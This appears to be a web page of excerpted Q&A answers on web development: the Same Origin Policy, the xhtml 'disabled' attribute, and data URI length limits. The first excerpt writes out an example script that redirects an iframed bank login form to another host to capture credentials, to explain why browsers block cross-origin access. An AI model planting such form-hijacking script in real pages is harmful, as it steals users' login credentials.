Simple example for why Same Origin Policy is needed

<iframe id=”bank” src=”https://yourbank.example”></iframe> <script> window.onload = function() { document.getElementById(‘bank’).contentWindow.document.forms[0].action = ‘http://example.com’; }; </script> The JavaScript code changes the form’s action property (the destination, in a matter of speaking), so when you submit the form, you send your credentials to me, not your bank. If I set up a PHP script on my server that redirects … Read more

Why do we need disabled=”disabled”?

The officially correct xhtml syntax is disabled=”disabled”. The reason for this is that xhtml is an XML syntax, and XML requires that attributes have values. The xhtml specs also explicitly specify that the value should be “disabled”. The reason for the choice of this value over any other possible value was fairly arbitrary; they simply … Read more

What is the size limit of a Base64 DataURL image?

Citing MDN on this: Length limitations Although Mozilla supports data URIs of essentially unlimited length, browsers are not required to support any particular maximum length of data. For example, the Opera 11 browser limits data URIs to around 65000 characters. And caniuse.com, where you can also look up the support across browsers: Support in Internet … Read more